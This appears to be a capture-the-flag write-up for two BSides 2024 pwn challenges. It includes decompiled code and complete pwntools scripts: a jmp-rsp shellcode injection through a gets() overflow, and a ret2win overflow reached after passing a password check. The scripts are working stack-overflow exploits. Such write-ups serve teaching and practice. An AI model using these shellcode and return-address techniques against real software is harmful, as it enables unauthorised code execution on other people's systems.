baby
This is the classic ret2shell code but I did learn a lot.
void main(void)
{
char local_58 [80];
printf("Welcome to BSides 2024. What\'s your name? ");
gets(local_58);
printf("Nice to meet you %s\n!",local_58);
return;
}
So the difficulty in this challenge is getting the correct address of the array that we should point to. I ran the binary a few times and found local_58 had the following:
0x7ffd28f2dcf0
0x7ffe1578ada0
0x7ffc9265d520
So we cant just fill the return address we have to be a little more smart. We can have a look with rop gadget to find some tools that may help us.
0x000000000040115e : jmp rsp
The trick of this exploit is that when we call return the current stack frame is torn down. So now RSP, the stack frame pointer points to the memory after the return address. So we can construct a payload that is padding + 0x40115e` + nop slide + shellcode. So what happens is that we jump to the RSP and will now use that as the instructions to execute.
from pwn import *
from pwnlib.util.packing import p64
context.log_level = 'DEBUG'
elf=context.binary=ELF('./baby')
context(terminal=['tmux', 'splitw', '-h'])
# io = remote('baby.pwn.ctf.bsides.com',9005)
io = gdb.debug('./baby', '''
b *main+76
continue
''')
offset = cyclic_find('uaaa')
shellcode = asm(shellcraft.sh())
payload = b'\x90' * 88 + p64(0x40115e) + b'\x90' * 16 + shellcode
io.sendline(payload)
io.interactive()
pwd checker
This was a classic ret2win. But in order for us to perform the instruction pointer overflow we first had to do a little reverse engineering or the application would terminate before.
undefined8 main(void)
{
setbuf(stdout,(char *)0x0);
puts("Welcome to the password complexity checker.");
password_checker();
return 0;
}
void password_checker(void)
{
int iVar1;
char local_48 [64];
printf("Enter your new password to check its complexity: ");
fflush(stdout);
gets(local_48);
iVar1 = is_valid_password(local_48);
if (iVar1 != 0) {
puts("Looks good! That should keep hackers away.");
return;
}
puts("Yikes..that\'s a lousy password");
/* WARNING: Subroutine does not return */
exit(-1);
}
So we are asked to enter a password to make sure that its secure and keep hackers away!. If its not up to scratch then we terminate so lets see what is a valid password. Inside is_valid_password we find:
password_length = strlen(param_1);
if (password_length < 0xc) {
valid_pw = 0;
}
else {
for (i = 0; i < password_length; i = i + 1) {
ppuVar5 = __ctype_b_loc();
if (((*ppuVar5)[param_1[i]] & 0x100) == 0) {
ppuVar5 = __ctype_b_loc();
if (((*ppuVar5)[param_1[i]] & 0x200) == 0) {
ppuVar5 = __ctype_b_loc();
if (((*ppuVar5)[param_1[i]] & 0x800) == 0) {
ppuVar5 = __ctype_b_loc();
if (((*ppuVar5)[param_1[i]] & 8) == 0) {
bVar4 = true;
}
..... boring stuff
}
if ((((bVar1) && (bVar2)) && (bVar3)) && (bVar4)) {
valid_pw = 1;
}
else {
valid_pw = 0;
}
}
return valid_pw;
}
So we first have to satisfy the password length condition of 12. Then we iterate over the given letters and call ___ctype_b_loc() to compare against some given hex values. After some looking around I found the ctypes headers online and had a look at what conditions need to be met.
# define CTYPE_MASK_print 0x100
# define CTYPE_MASK_punct 0x200
# define CTYPE_MASK_asn1print 0x800
# define CTYPE_MASK_space 0x8
So we need a printable, asn1print’able, punctuation character that is NOT a space. After a bit of trial and error I came up with the string a: aB1$ eF3#gH which was accepted and I could move on with the overflow. Now we can use cyclic to find how much padding we need to overwrite the return address.
from pwn import *
from pwnlib.util.packing import p64
context.log_level = 'DEBUG'
elf=context.binary=ELF('./pwd_checker')
context(terminal=['tmux', 'splitw', '-h'])
io = remote('pwd.pwn.ctf.bsides.com',9005)
# io = gdb.debug('./pwd_checker', '''
# break *password_checker+95
# continue
# ''')
io.readuntil(b"Enter your new password to check its complexity: ")
#get the address of 'deadcode'
ret2win_addr = elf.symbols['deadcode']
print("ret2win: %x\n", ret2win_addr)
print(ret2win_addr)
payload = b"a: aB1$ eF3#gH"
offset = cyclic_find(b"aap")
payload += b"A" * offset + p64(ret2win_addr + 0x8)
print(payload)
io.sendline(payload)
io.readuntil(b'Looks good! That should keep hackers away.\n')
io.interactive()
The last problem I had was jumping to the address of ret2win_addr. Pointing to the start of the function resulted in us performing the stack frame setup. This caused my solve to crash. After staring at this for a little while I decided to skip the setup and point like so. Hence the reason for the +0x8 to the addr.

Success! we got the flag.